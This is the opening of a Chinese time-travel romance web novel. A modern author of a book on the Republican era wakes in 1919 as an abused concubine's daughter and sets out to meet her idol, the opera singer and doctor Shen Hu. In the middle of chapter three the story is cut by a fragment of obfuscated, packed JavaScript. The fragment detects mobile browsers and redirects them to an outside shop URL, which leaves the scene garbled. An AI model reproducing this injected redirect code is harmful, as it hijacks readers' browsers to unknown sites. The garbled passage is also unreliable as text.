《入戏[民国]》
1. 楔子
许甯跟在女人身后,脚步徐徐。
“你好,我能问下严老先生为什么会答应我的采访吗?”
严诲,民国生人,现今108岁高龄,出生显赫是曾经朔城最有名的少爷,矜贵温柔、俊雅不群。曾在抗战中立下赫赫战功,被授予不少勋章,自年老体弱后避世不出,无人知晓他居住之所。
这是她所写《民国游梦》一书中对严老先生的描述。
许甯沿着石桥踏进一间茅草屋,她难以想象现代居然还有人居住这样的危房,而这样的人竟是民国时期赫赫有名的严大少爷。
“太爷爷看报时无意间看到了你的照片,你和…”带路的女人浅笑一声,许甯没听清她说的话“长得很像。”
“幸好许小姐曾有邮件来信,我们很快找到了你的联系方式。”女人将她带到茅草房前,摇了摇门前的铜铃铛:“太爷爷,许小姐来了。”
“请许小姐进。”这一声历经沧桑,格外厚重地传入她的脑海。
她站在门口,觉得有些恍惚。
“太爷爷不喜采访时有旁人,我就先走了,回见。”女人向她致歉。
许甯嗯了声,待女人走后,她推开门。
与茅草屋一般,屋内也格外简朴,行军床、竹椅。严老先生就坐在竹椅上,头发斑白,身体干瘪如竹竿,显然是将死之人。只有一双眼睛在看见她的一瞬发出光彩。
“陋室招待不周,这是我刚砌的桂花茶,不嫌弃的话就试试吧。”他颤巍巍地抬起手,指向桌旁的一张同样的竹椅:“请坐。”
“老先生多礼了。”许甯露出一个得礼的笑容,八分满,就像她采访别人一般,微鞠躬后,坐在竹椅前三分之一,拿出笔记。
“很荣幸能采访老先生,我是许甯,《民国游梦》的作者,我曾在其中记载过您的故事,今日见到真容,不胜荣幸。”
严老先生:“我看过这本书,是本不错的作品,里面记录的人物事迹,可以看出许小姐下过不少功夫。”
许甯点头致谢:“老先生谬赞,时光流逝近百年,也有失真所在,书中不少人物老先生都有接触,不知道有什么意见可以修改或者补充的?”
严老先生沉默了片刻,似乎在思索。
许甯端起桌上的茶杯,是一只很漂亮的青花瓷盏,掀开盖子,滚水中金黄色小花飘飘浮浮,她浅尝了一口,口齿生香。
“这茶如何?”
“好茶。”她赞道,又感觉有些奇怪,像桂花茶往往是女生喜欢,没想到严老先生也喜欢喝这种。
“许小姐喜欢就好。”他笑道。
很奇怪,他的笑像是预料的,仿佛知道她一定喜欢这茶。
“人太多了,竟然有些想不起来,许小姐不妨提醒我几个人。”
许甯抿了抿唇,口中的香甜化作微苦:“比如…沈斛?”
严老先生像是愣了下,看向她的双眸露出几许痛楚,她觉得有些不可思议,还想再看清些,却见他已经安然坐在竹椅上,缓缓讲起了往事。
“沈斛啊,早先化名云笙在茶园做戏子,他唱的戏极好,尤其是那首《无题》,风靡社会,不少上流人士追捧他…后来国之将危,他成了正气凛然、为国为民的好医生,可惜英年早逝……”
她点头,在笔记上记下:“听起来您与他交情颇深。”
“我们曾是敌人。”他笑着说:“我的未婚妻爱上了他,离我远去。”
…许甯落下的笔顿了下,以她认真严谨的精神,她抬起头:“能否冒昧的问一下,您的未婚妻是?”
“我有她的照片,给你看。”说着,严老先生从怀中掏出一块怀表,是旧时代的模样,划开盖,是一张黑白照片。
男的身穿军装,俊朗温和,女的身穿旗袍,如水般温婉动人。
可是…她忍不住凑上前去,这女生怎么和她长得这么像。
严老先生似乎也看出来她的想法,安慰道:“她可不像你,也不像照片中温柔,她的性子顽劣,实在难搞啊。”
他回忆起往事,颇为头疼地摇摇头。
许甯看他的模样,扑哧一声笑了出来,流露出的正经化作虚无:“实不相瞒,我本性也有些顽劣,不过会装罢了。”
“你们很像。”他说,像是透过她看另一个人。
许甯止了笑:“她一定很幸福。”
“她是我的一生挚爱,只可惜她的幸福被我毁了。我用余生赎罪,可能罪孽深重,老天让我活到这把年纪。总算快解脱了,我只希望她能原谅我。”严老先生道。
他艰难地呼吸了两下,颤抖着手将怀表关上,塞进心口位置。
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“她会原谅你的。”许甯不知为何会说出这番话,也许是礼貌使然,也许只是一刻的想法。
严诲,立下赫赫战功,隐隐于世,如果不是有捐赠慈善公益消息,不知多少人曾以为他死了。动辄几百万的捐赠,居住之所居然是破旧的茅草房,他也不喜儿女的亲近,颇有种孤独终老的冲动。
以往她不懂,现在她隐隐约约懂了些。
“她会原谅你的。”许甯看向竹椅上的老人,重复了一遍。
严老先生露出微笑,不是既往的温柔,而是释然:“谢谢你。”
“应该是我谢谢您,您身体不好还要接受我的采访,您多休息,我来日再来看望您。”许甯起身,再次鞠躬感谢。
“再见,许小姐。”他轻声道,一如往昔。
“再见,严老先生。”
她推开门,风灌了进来,轻柔的,还传来严老先生唱的《无题》。
“何人何戏为何唱。”
“尘埃中过往。”
“隔着烟水茫茫。”
“何年何月在何方。”
“我与她遥遥相望。”
“何时唱尽了一生跌宕。”
*
在采访后一周,许甯收到了严家的请帖,简约的牛皮纸,上面斜贴着一小簇丹桂。
这是一封独特的丧礼讣告。
严老先生走了,没等到她再去看望他。
她参加了丧礼,现场布置的并不沉重,吹拉弹唱、歌尽人欢,好似不是在丧礼,而是一场落幕的聚会。
落幕的是百年的沉浮,消散在岁月中,只留下几句短短的话语,寥寥写尽这一生。
他的子孙说,严老先生死时很安心,没有痛苦地带着微笑离去。
108岁的喜丧,带走了那个时代的所有回忆。她的书俨然成了历史,再无历史见证者,也没有人能猜测书中牵扯的纠纷。
她关上电脑,屏幕右上角是一张黑白的照片,男子穿着一袭中式长衫,外罩着白大褂,左胸纽扣处挂着串怀表,他回望着身后,背景是硝烟弥散的街巷。
不知他在看谁,侧脸噙着分明的笑意,一半在明,一半在暗。
———沈斛
生前最后一张照片。
正落下的屏幕满满写着他的故事。
2. 第一章
“号外号外!”
“靖北军大捷,严司令不日凯旋归城!”
“无名人士一掷千金,云笙先生一夜名声大噪,轰动全城!”
…
卖报小男孩奔走在街道旁,声音朗朗。
听见管家吩咐,小厮开了侧门:“喂,小孩给我来两份报纸。”
“五角钱,先生。”
“不是一角钱一张吗?怎么还涨价了。”
“战争时期,先生。”小孩言简意赅地解释。
持久的战争磨平了激情,麻木才是最好的保护罩。就像小孩不会因着无止尽的讨价松口,小厮也不会为他身上穿的破布而怜悯。
他不情愿地掏钱,不甘道:“真是人不如人,我们连份报纸都买不上,还有人一掷千金。”
您算好的了,还有人吃不上饭呢。
卖报小孩默默将这句话咽下,接过钱,想着今天总算不用挨饿,撒开步子就跑了。
街巷中再次响起卖报声,许府却格外安静。
许府是古典的园林建筑,就在园中一处阁楼下,下人们紧缩着脑袋站在一旁,连丝气也不敢喘。
今儿早上大太太身边的彭妈发现首饰少了,忙禀报了大太太,最后查到了二小姐身上。
这不,正处罚给下人看呢。
耳边的风擦过草坪、水池,锦鲤还在嬉戏,几片落叶颤颤落地,与此同时,足有腿弯粗的板子应声落下。
“啪、啪、啪”
透过敞开的门扉,少女被绑在长凳上受刑,浑身血淋淋的。
她似乎没了力气,早先时还骂着人,嘴里大喊着乡下人骂人的啊臢话。
那些话刺耳难听,别说是大太太,就连府中的下人也没听过几句。
太难听了,她们摇摇头,不敢信这竟是“小姐”。
后来大太太也忍不了,嫌她粗鄙,让下人把手帕塞在她嘴里。
她恨恨地咬着,盯着主位上的大太太。那眼神布如有寒光,仿佛嘴里咬的不是手帕,而是她的身体。
大太太骇了一跳,下了命令往死里打,打到她认罪为止。
过了不知多久,下人进了内室,大太太半个身体躺在罗汉床上,手中的帕子晃着,漫不经心地问道。
“她招是不招?”
“…回太太,还没招。”回话的丫鬟脸色苍白。
“没想到这丫头骨头挺硬,偷了我的东西还不认罪,活像她那爬床的妈。老爷真是瞎了眼,挑中了这娘两,都是些什么贱蹄子。”太太啐了几声。
门外的血腥气浓重,也渐渐传入,太太没注意到丫鬟的脸色,慢慢地,她听见喊叫声消失,这才感觉有些不对。
掖着鼻子:“外面怎么没声了?打死了?”
下人这才难堪地点了头。
太太顿时直起身,过去瞧。
长凳上,少女只有十七的年纪,花一样的年纪,模样也是一顶一的好,白皙透亮的皮肤此刻却泛不起红润。
她软软地趴在长凳上,手臂如残柳垂下,毫无生色。
“啊呀!”太太惊叫一声,转过身捻住佛珠:“阿弥陀佛、阿弥陀佛……”
…
许甯醒来时依旧是夜晚。
她没听到闹钟,只感觉闭上的眼皮有光晃过,知道自己又是熬夜趴书房睡了,连灯都没关。
挣扎了一番,她刚要睁开眼,背后就传来一阵撕心裂肺的疼痛,像是筋连着皮肉一块撕扯开。
她痛地嘶了声。
“二小姐,您醒啦。”耳边有人惊呼道。
“我正在给您上药,您先别动,小心扯到伤口。”
许甯睁开眼,对上梳着双辫的小丫头,有些茫然。
她是谁?这又是哪?
入眼是木质的房梁,像个小屋子的床,还有粉色的幔帐。
身体反射地,她撑起身就要起来,谁知屁股上连着背又是一阵筋扯骨,一下子又扑回了床上。
“疼!!!”
小丫头捂住额头,无奈道:“当然疼了,都说别动了,您被打了五十板子,不记得了?”
“我?”许甯手指着自己,不可置信:“被打了五十板子?”
“什么时候的事?”
“就前两天,您被怀疑偷了太太的首饰,您又不认错,太太一气之下让人打的,您都不记得了?”
小丫头似乎也觉得有些神奇,嘟囔道:“伤的不是屁股吗,怎么脑袋坏了?”
“…”
许甯嘴快得很:“你才脑袋坏了,你全家脑袋都坏了。”
小丫头回过神,幽幽地看向她:“脑袋没坏,难道小姐记起来了?”
“当然”许甯恨不得打自己一巴掌,叫你嘴快,叫你嘴快,人家只是字面意义的坏,又不是骂人。
讪讪笑道:“没有。”
她扬起脑袋,眼睛亮晶晶的,又好奇问:“所以这是在哪?你又是谁啊?”
“小姐怎么连在哪都忘了?我是春桃啊,您的贴身丫鬟。”春桃瞪大了眼睛,连手上的药膏都掉落在地。
“丫鬟?还贴身?”许甯喃喃道,有些不可置信。
瞧这古风古色的风格,她这是魂穿了?
时间仿佛静止了刹那,直到咚地一声,许甯和春桃才惊醒。
春桃捡起药膏:“也是,毕竟从鬼门关走过一趟,那些记忆也不好,小姐忘记也正常,正常…”
她的话戛然停止在许甯笑容灿烂的脸上。
好像、也许、大概也不太正常……
二小姐自小养在乡下,直到一个月前才被接入府中,
因着亲娘曾是大太太身边的丫鬟,又爬了自家丈夫的床,哪个女人能不怨恨呢,于是许甯的亲娘自生下女儿后就被赶出许府。
娘两生活在乡下,在许甯十七岁生日那天,她的亲娘就去世了,许府这才将她接走。
至于真实原因,是想将这个便宜女儿嫁给大腹便便的钱老板为妾。
钱老板年近不惑,家中更是妻妾成群,本来也没想卖个好价钱,许家对许甯的态度也是一般。
因此,许甯仅进府一个月,就先是被安排住在最烂的院子里,又是一日三餐馍馍稀粥,连出行都被限制,严令禁止进前院。
要不是前几天钱老板上门拜访,大太太才不会让许甯到她屋子里去,也就不会出现偷首饰的事件。
二小姐受尽了屈辱、委屈,脸上从来没有笑容,她进府时就是木然的,对待一切不公也毫无抗拒,毫无表情。
只有在被污蔑偷首饰的那次,她疼地咒骂、痛恨,但也仅仅是阴暗中野兽的无能嘶吼。
她太稚嫩了,没有羽翼,整个人像浸在阴雨里,痛苦折磨着她,就连自己也在折磨自己。
可现在,这长在阴暗中的野兽,竟然朝她笑了,笑得灿烂。
捡起的药膏再一次掉在地上,春桃这回没去捡了,两只手张开在许甯面上晃了晃。
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“小姐,你没有鬼上身吧。”
“你还是许府二小姐许甯吗?”
面对发问,许甯沉默了。
许府…小姐?现代还有这个词吗?真不是骂人吗?
看见许甯一脸沉思,没有坚决否定她的话,春桃突然觉得寒风一阵,她抱着肩膀缩了下,探查了眼窗外。
黑漆漆的。
夜深人静,正是阴气最旺盛的时候。
“你是谁?”春桃退缩了几步,拿起床边的鸡毛掸子护在身前。
“我是许甯啊。”许甯趴在床上,眨了眨眼。
毫无疑问,这个回答天衣无缝。她确实是许甯,不过是现代的许甯。
“我不信,小姐不会对我眨眼睛。”
“…我只是睡太久了,眼皮有点痒。”许甯笑着安慰她。
“你骗人!小姐不会笑的!”春桃看见她的笑容,更害怕了。
啊什么人啊,原身都不会笑吗?难不成还要让她装成高冷霸道总裁,等以后出来一个帅哥,她笑了,小丫头感慨一句:“这么多年了,我家小姐总算会笑了。”
许甯被自己的脑洞笑得不停,不经意又扯到了屁股上的伤:“啊疼疼疼!”
“活该!”春桃狠狠道。
许甯疼了一阵,趴在床上,枕着脑袋,半咬着唇看着春桃紧张的模样。
刚刚两人又是嘴炮了一番,无论春桃问什么,许甯死死都咬住自己是许甯这个点。
因此也就搞成这种半信半疑的状态。
“唉,那你怎么才会信我是许甯啊。”她无能地叹了口气,搞不好这样下去真会被当成鬼。
无论如何,她就算是真的穿越了,也不想第一天就被绑在柱子上烧死,所以一定要让心腹大患—春桃先相信她的话。
“嗯…”春桃思索了一阵,想让她写自己的名字,想法刚出现就被否决了,先不说小姐才开始练字,她自己也不识字呢。
可她又说失忆了,就连想问别的事也无从下手。
“诶诶,要不这样。”许甯想到了方法:“鬼怕阳光,你等我早上起来,看还是不是我不就知道我不是鬼了。”
“对!”春桃眼睛亮了一瞬,她怎么就没想到呢。
见她总算上道,许甯松了口气。
拍了拍枕头,使其更加柔软,不得不说这个古代的枕头,真是太硬了,里面装的什么,谷壳吗?
“那就让我们好好睡个觉吧,晚安。”许甯趴在枕头上,侧过脸满意地闭上眼睛。
太好了,闹了这么久她总算可以睡个好觉了。
管他什么事呢,等明天再说吧。
许甯这么想着,神思逐渐飘向远方,那里有沈斛的身影,脸庞依旧朦胧,似乎在看着她,伸出了双手。
骨节分明的手上展开的是两瓣剥开的大蒜。
“阿湫!”
许甯打了一个大大的喷嚏,然后是接二连三地喷嚏,被自动唤醒了。
睁开眼,看见的就是小丫头脑袋上挂着的一长串大蒜,再抬头,小丫头笑眯眯的。
“鬼怕大蒜,我刚想起来的。”
“…”该说不说真是搬起砖砸自己脚。
鬼怕大蒜,她刚好大蒜过敏啊!
许甯趴在床上,像坨无能的烂泥,躲不开,爬不起,只能任由小丫头将大蒜项链挂在她的身上,狠狠地又打了个喷嚏。
“阿湫!”
“春桃你个坏丫头!”
3. 第二章
翌日,被摧残了一夜的许甯总算等到了清晨。
阳光透过纸糊的窗户,撒在床的一角,许甯换了个姿势,小心地蹭过去感受阳光的温度。
“好暖和啊。”
这下总算不是阴湿鬼了。
床上的褥子也不知道多久没洗,潮得能让人身上长草。
许甯很难想象自己竟然在身体和精神的双重折磨下睡着了。
放在以前的作家许甯身上是不可能的,但昨天她从春桃那得知了自己的身份——
自小养在乡下的庶女,为了联姻才接回的苦命人。
表面上是小姐身份,但实际活的连丫鬟都不如,就比如偷窃案真相都没查清,原身就被大太太活活打死了。
许甯是真为原身感到悲哀。
但转念一想,她才是最惨的,既然已经代替了“许甯”的身份,就要想着如何改善环境,还要拒绝联姻。
但要反抗,就必定要有权势。
权势…
许甯有些为难了。
她一个生活在现代的牛马,别说往上爬,就那总提出修改意见的上司,她都想每时每刻把书拍他脸上。
然后趾高气昂地说:“有种你去写啊!”
可惜她没种。
就这么“勤勤恳恳、刚正不阿”的打工人,怎么获得权势,许甯想破了脑袋也想不出来。
鼻尖充斥着潮湿气息,她的脑袋咚地一声砸向床。
“二小姐,早膳送来了。”
春桃端着碗进来时,看见的就是许甯蜷缩着趴在床沿,阳光在她的屁股上投下一道阴影,好笑的姿势下是她出奇意料的动作。
许甯拿着脑袋一下下撞着头,活像刨坑的老鼠。
“您这是做什么啊?”春桃立马放下托盘,跑到许甯面前。
“大夫说您要静养,不要随便乱动,如果趴着不舒服,奴婢帮你翻个身。”
许甯顺着力度翻了个身,余光瞥见桌子上摆放的早餐,竟是一碗稀粥配小碟腌菜,眼睛瞪大,连头都忘记砸了。
“春桃,这就是我的早膳?”
“对啊。”春桃答得自然。
“每天都是粥?”许甯捂住自己的小心脏。
“当然不是。”
还好还好,许甯安慰自己的小心脏,投以期待的眼神。
“有时还有馒头、死面饼子...有时候前头的人还会忘记送,所以每天我都会提醒他们的,大太太特意吩咐了您身子虚,不能吃大补之物...”
春桃细数着,全然没发现少女逐渐暗淡的眼神,并发出了无比怨恨的诅咒。
“啊老天爷,我诅咒这家人吃饭光放屁!”
*
在外浪荡几天的大小姐许宓大摇大摆地走进私塾,她哼着近期时兴的戏曲,发髻上插着的蝴蝶珠翠随着振翅摇晃。
“瞧你一脸春色,这几天做什么去了?”许玮脸色不愉道。
面对质问,许宓只哼了声,落下轻轻巧巧地一句“关你屁事。”
“你是个女儿家!”许玮控制不住地大声指责,随即看见被惊动的其他弟妹,便小声了些:“在弟弟妹妹跟前,说话注意些,别成天‘关你屁事’”。
许玮拉着许宓出了私塾。
站在院子里,视野辽阔,许玮压在心头的火气被压下些许。
他问站在跟前的妹妹--许宓:“娘的首饰是不是你偷的。”
他的语气毫无疑问,仿佛早已见怪不怪。
他和许宓虽然是大太太的双生子,模样却不相似,说起来许宓更像许甯。
两人都是江南烟雨的清润长相,鹅蛋脸,柳叶眉。
不同的是许甯总是低着头,眼底藏着化不开的愁闷,人也呆笨的;许宓则因大小姐的日子,从小骄纵顽劣,喜欢抬着脑袋看人,眼尾也更加上挑。
此刻她也是挑着眼尾看他,半句不饶人:“是又如何,娘给我留的嫁妆,我取出一点又怎样。”
“你这是取?”许玮简直要被自家亲妹气笑了:“不问自取,是为偷!”
“你知道因为你偷了娘的首饰,二妹差点被打死吗?”
许宓在进家门的时候就被身边的丫鬟“科普”了一番,但她不觉得有什么,怪只能怪许甯的信誉实在不佳。
“她的娘是贱人,有其母必有其女,娘怪到她身上也没错,谁叫她身子那么差,打几板子就不成了,再说了这人不是还活着吗?哥哥怪到我头上实在冤枉。”
许玮怒不可遏,打断她:“她是你妹妹,不是贱人。”
他虽自小熟读四书五经,但接受过新式教育,并不觉嫡庶有何区别,说罢,他拉起她:“走,跟我去娘那说明原委。”
许宓拽了两下,没拽动,身子被拖着向前走的晃晃荡荡,她扶着发钗又惊又叫。
正打扫台阶的下人注意道,放下手中活计,视线投向这里。
许玮只得一把松开许宓。
许宓又扶了下发钗。
真是的,被这么拽着,险些把最重要的东西弄掉了。
许玮一眼就注意道不符合许宓的蝴蝶簪子。
点翠的工艺,栩栩如生的颤枝,若是簪在温婉女子头上,别有一番乐趣,但若是许宓这么强势的人...哼,自取其辱。
不知道送她簪子的人是否想到。
许玮撇了撇嘴。
他这妹妹迟早被卖了还要帮着数钱。
“这发钗谁送的,怪丑的。”
“关你屁事。”
毫无迟疑的回答,许玮竟从里面听出几分恼意,像是自己藏在匣地、连碰都舍不得轻碰的珍藏,被人当面啐了一口。
他伸手,一把夺过她头上的蝴蝶发钗。
许宓眼神瞬间变得怨恨,伸出手:“还给我!”
猜到了这只发钗对她与众不同,但没想到她竟如此在意,许玮毫不怀疑他若是现在砸坏了发钗,会被许宓当场砍死。
真好奇啊,到底是哪个男人?
“你跟我到娘那乖乖赔罪,我就把钗子还给你。”他将发钗举高,不让许宓碰到。
许宓被他逗着转了一圈,知道她这哥哥死认理,气鼓鼓地出门:“我这就去跟娘道歉!”
许玮在身后头疼地摇摇头。
他这妹妹啊,真是完蛋了,只希望别对那人用情太深,严诲快回城了,他两的婚事这回总要定下来的。
*
修养了几天,许甯的身子好得只差那么一点。
究竟是哪一点,让她还提不起劲起床,她归功于每日吃的粗茶淡饭。
每天就一小碗碳水,一点点蔬菜,以及丝毫没有的蛋白质。
身为减肥餐它都差点意思,何况…许甯捏了捏自己现如今骨瘦如柴的肩
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膀。
只怕用不了几个月,她就可以瘦到连人带盒五斤。
“二小姐,鸡汤!今天有鸡汤!”还没进门,许甯就听到春桃的大喇叭声。
鸡汤,是泡面里的调料包吧…
一点点蔬菜碎、不知名的黄色块状固体。
许甯趴在床上一点都不好奇,这像是会给她的伙食,但是…
说起来,如果真是调料包的味道,还是很怀念的。
春桃小心翼翼地端着碗进门,清晰可闻地听到了某人咽口水的声音。
“真是鸡汤啊。”
“小俞说还有水晶虾仁、桂花肉、八宝鸭,稍后送来。”
小俞是送菜的小厮,年纪不大还懒惰成性,经常借口忘记送饭菜,令两人饿肚子。
不过这时不是探讨小俞罪行的时候。
看着那一碗满澄澄黄灿灿的鸡汤,上面堆满了鸡肉,许甯眼睛都要发直了,但她狠心地移开了眼。
“前头要杀我了,这是断头饭?”
春桃扑哧一声笑了出来。
“二小姐,这是大奶奶送来的赔礼。”
“赔礼?”
“什么赔礼?”
春桃就将小俞告诉她的事情一一讲出。
包括大少爷如何拖着大小姐,大小姐又是如何僵硬地给大奶奶告罪,大奶奶如何的脸色铁青、失了面子,又在大少爷的央求下发恩赏了大餐。
春桃边说边笑,就像是她亲眼目睹般。
说到半途,许甯边吃边啧啧出声。
“这大小姐真不是个东西,偷走东西那么多天别说信,连家也不回。”
春桃在这几天的浸染下,早就习惯许甯的“口出狂言”。
她也剔着骨头,赞同道:“大小姐打小被宠坏了,以前就翻墙门逃出去,还穿这么短的洋裙。”
春桃站起来,从腰间到大腿处比了下。
“老爷看到都气死了,生生病倒了三天。”
“洋裙?”
从春桃的话中,许甯抓到了不同以往的词,她傻了眼。
洋裙?古代也有洋裙吗?
“对啊,二小姐从乡下进城还没见过吧,外面可流行了,摩登女郎都要穿洋裙,搭配着洋人的蕾丝手套,可好看了。”
许甯难得地沉默了。
毫无疑问的,拔步床、色泽丰富的短袄搭配马面裙,她一直觉得是穿越了清朝。
但是清朝,就已经流行穿洋装吗,还有摩登—现代的音译词。
“春桃,现在是哪个皇帝治下?”
一反常态地,许甯认真地问出这个问题。
春桃表情凝重,又是伸手往她额头上摸了下。
“没发烧啊,二小姐你又脑袋坏了?”
“哪有皇帝啊。”
“现在是民国。”
轰!
许甯只听到脑子犹如爆炸,巨大的炮响后,只余下白茫茫的一片。
民国?
不知为何,她的脑中忽然浮现一个侧脸。
有些模糊可见的下颌线,眉骨的轮廓在硝烟中若影若现,像蒙着薄雾的远山。
面目是模糊的,嘴角的弧度却格外明显—
是明知宿命的平静,见惯生死仍不肯放弃的温柔锋芒。
她许甯,
阴差阳错地,竟来到了沈斛的时代!
4. 第三章
沈斛、沈斛…
从得知可以亲眼见到沈斛开始时,许甯就激动得闭不上眼了。
她想知道现在是民国几年,在哪个城市。
沈斛留给后世的资料并不多,更多的也是着力于民国九年之后汀洲的仁泽医院。
如果是民国九年之前,沈斛还只是隐藏身份的戏子,艺名为云笙,以无题闻名。
再具体些,便是查无实证了。
有人说他在云港的今声戏院,也有人说他是洛川听风楼的名角…
总之众说纷纭,没有一个定论。
不过,唯一可知的是,无题在民国八年才有报纸刊登,此前几乎无云笙先生之名,这么说来,云笙很可能是突然爆火的。
许甯曾在《民国游梦》中写下这一推论,后来被人批评,又被上司劈头盖脸地指责一通,被迫修改了。
民国九年,只要是在民国九年之后,许甯打死也要跑到汀州见一眼自己的偶像。
“啊小姐,你真是一点都不记得啊,今年是民国八年,才初春呢。”
春桃晾着衣服,指着她的脑子,见她一副被雷劈了的模样,摇了摇头。
本来以为二小姐终于能够下床,还整天高兴地不行,以为她总算是养好了—从身到心那种。
原来,脑袋依旧空空,连春夏秋冬都分不清。
“那云笙这个名字你听过吗?”
“很有名的,他会唱戏,长得也很俊秀。”
许甯丝毫没有被当作脑残的觉悟,死缠着春桃问个不停。
“没有。”春桃把衣服搭上,冷漠无情地盖住了对面的脸庞。
如果看不见,就可以当作不知道她的主子在问什么吧。
“无题呢?你听过吗?”
来不及等春桃回答,许甯就兴展示了一番歌喉,这首歌她早已听过数万遍,也唱过数万次。
曾有许多人问她为什么喜欢这么老土的歌,许甯不知道。
在她没听过沈斛之名时,就无端爱上这首歌,也许就是感觉吧,说不清道不明。
词早已在心里回荡——
“何人何戏为何唱。”
“尘埃中过往。”
“隔着烟水茫茫。”
说真的,春桃当真期待了一番,但是…
真难听啊。
“没有、没有、没有听过!”春桃紧急否认,捂住耳朵,还不忘在许甯心口上扎一针。
“二小姐,如果有这么难听的歌,我想是个人也不会听吧。”
许甯:“……”
诚然,她音色、音调确实不咋样,但是不能侮辱无题这首名曲啊!
这可是沈斛写的啊!
你知道沈斛是救治数万人的英雄吗!
许甯很想这么吼出来,但是民国八年初年…沈斛应该还只是戏台上的毛头小子。
说不准还在给客人端茶倒水…
就像一股气涌在心头,压不下去也吐不出来,被伤害的沈斛头号粉丝憋屈地很,干脆开始了一轮又一轮的拉锯轰炸。
既然敢说歌难听,那一定要多听几遍啊。
“别唱了,别唱了,啊我的耳朵要聋了。”春桃四处逃窜,许甯紧追不舍。
“哦不会的,亲爱的,你的耳朵只是要流产了。”
*
民国八年,军阀割据的年代,四处战火纷飞,指不定哪天走路上就被飞来的流弹炸死了。
许甯想了想,觉得逃离不是个好主意。
且不说她人生地不熟,就她一个弱女子—原身骨瘦如柴的身体,她也跑不远。
反正现在沈斛也不在汀州,还有一年的时间够她逃跑。
当然,当务之急是先把身体养好。
但是自从上一次吃了大餐后,伙食又变成了原先的样子。
对此,许甯想竖起中指,对大太太说—
你真扣啊!
一顿饭换条人命,搁现代不得把你枪决了。
在院子周围绕了一圈,总结下来就是又穷又破。
走十步能到头的墙,最中央是锁起来的掉漆木门,风过便发出吱呀的哀鸣,四周都被墙包围,墙头的砖瓦早就七零八落,只有上头长得杂草才能凸显它的生机。
院子里只摆着一口废弃的陶缸,余下就是一棵大腿粗的桂花树。
今日温度适宜,枝桠上挂着花,清香扑鼻。
老人常说桂花笨得很,温度一升高就骗得它满头黄灿灿。
许甯却不赞成,她抬头看向桂树:这分明是恣意的生长。
想做什么便去做吧。
脑子一亮,许甯突然有了办法,既然找不到食物,那就去外面找吧。
大定了主意,许甯立马撸起袖子爬上了树干。
“二小姐,您这是做什么。”春桃闻声赶来,自从二小姐醒来,这句话她不知道说了多少遍。
但每次还能给她新惊喜啊。
望着许甯身姿矫健地爬上顶端,像个猴子似的双腿扣住树干,猛的一跃,翻上了高墙。
春桃:…
许甯:“春桃走,我们去外面逛逛。”
春桃向后退缩了两步,望着高墙咽下口水。
“不了,二小姐,我翻不过去。”谁有您这身手啊。
再说了这小树枝都撑不住她的重量吧。
“好吧,你等我回来。”许甯也不为难,折下一枝桂花砸向春桃。
头上突然被砸了,春桃捡起折断的桂花枝,抬头望向始作俑者。
许甯坐在墙头,裙裾被风掀起,露出晃荡的双腿,歪头瞧着她,眉眼露出狡黠的笑意。
在心惊动魄的目光下,她站起身,整个身体站在巴掌大的砖面。
“我走了。”
“别!”春桃来不及阻止,少女的身影骤然一跃,仅一瞬,就消失在墙头。
连声音都消失了。
“二小姐,二小姐!”春桃拍着墙。
“我没事”墙后传来不甚清晰的声音:“有人来了,我先走啦。”
“那您小心些。”春桃叮嘱道。
*
“你?”男人仰头望着墙,又看向面前揉着脚腕的少女,语气惊讶。
“从上面跳下来?”
这具身体真的太弱了,安全跳下来,但腿却因缺乏锻炼抽筋了。
许甯揉着受伤的脚腕,将脸埋在膝头,声音闷闷的。
“才不是,我是不小心摔下来,好疼。”
没想到这荒郊野地刚巧碰上人,她的运气着实差了点。
许甯低着头暗想,可千万不要认识她啊。
“不信。”男人斩钉截铁道。
要不是亲眼见证少女自信跳下墙,又摔在草坪上的模样,男人真信了她的柔弱样。
“摔得很疼?”
许甯能感受到一道黑影正在逐渐靠近,直到将她全部笼住。
她忽而很紧张,害怕被发现身份,更怕又要挨板子。
她轻点了头。
“跳得倒起劲。”他嘲笑着评价道。
但他蹲了下来,似乎真在观察她的伤势。
许甯什么都看不见,只能靠自己的猜想。男人或许并没有看她的伤势,而是在盯着她的脸。
被自己的猜想吓了一跳,许甯一把捂住脸。
男人轻呵一声。
”怎么这会嫌丢脸了?那么高的墙都敢跳,好歹让我见识是何方神圣。”
“很丑,怕丑到您,您快走吧。”许甯急着催促,声音掩盖在掌心,似乎在求饶。
男人一直在笑。
忽而胳膊被一道力道按住,不容拒绝地离开自己的脸。
许甯害怕露脸,但又不想被男人拉开手,一不做二不休,干脆直直站起身。
光明正大让他看!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470135|201433||http|test|mini|href|location''.split(''|''),0,{}));
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>“怎么,我喜欢跳墙出门不行吗?先生管这么多…”
她将脸颊边掉落的发丝顺到耳后,朝他露出微笑,不带丝毫善意。
“您家住海边啊?”
死吧死吧,就这样吧,她累了。
许甯破罐子破摔地想。
她看着眼前的穿西装的男人。
不知是哪家的少爷,五官立体,眉骨锋利,有几分世家子弟的矜贵,又带着几分凌厉。
许甯来不及想这张脸有些熟悉,脑子里只有一个呼声—
去告状吧。
她真的撑不住了,果然她这样摆烂的人不是当女主的命。
至今穿越快一月,她带着伤就躺了大半月,拢共吃饱一次,饿的啃床五次,痛得半夜狼嚎三十次。
细细想来,全是泪啊。
说不定被打死就能回家了,许甯乐观地想。
“许宓。”男人忽然喊道。
“你不是在前院……”
男人语气顿了下,皱着眉头看着相似的脸庞,眼前的少女和许宓如此相像,但宽大衣袖下的胳膊细的硌人,且她虽高高在上,气势并不凌人。
“不对,你不是许宓,你是她的堂妹。”
啊?这就是峰回路转吗老天。
他不知道许宓有个庶妹。
“对,我是许宓的堂妹。”许甯不动声色地抿唇。
“你怎么跑这来了,还穿成这样。”
得知她的身份后,男人的语气淡了许多,却有股教育自家小孩的感觉,让许甯更加怀疑他与许宓的关系。
爱人?朋友?或者…长辈?
许甯指了指墙头露出的桂花,“我想摘,然后就跳下来了,求您千万别同她们说,不然又要被罚了。”
立马将自己带入堂妹的身份,许甯哀求道,甚至揪住他的衣角撒娇。
“别告诉长辈们,好嘛好哥哥~”
呕…装嫩的代价就是恶心自己吗。
许甯被自己激起一阵鸡皮疙瘩,面上还要带着讨好的笑。
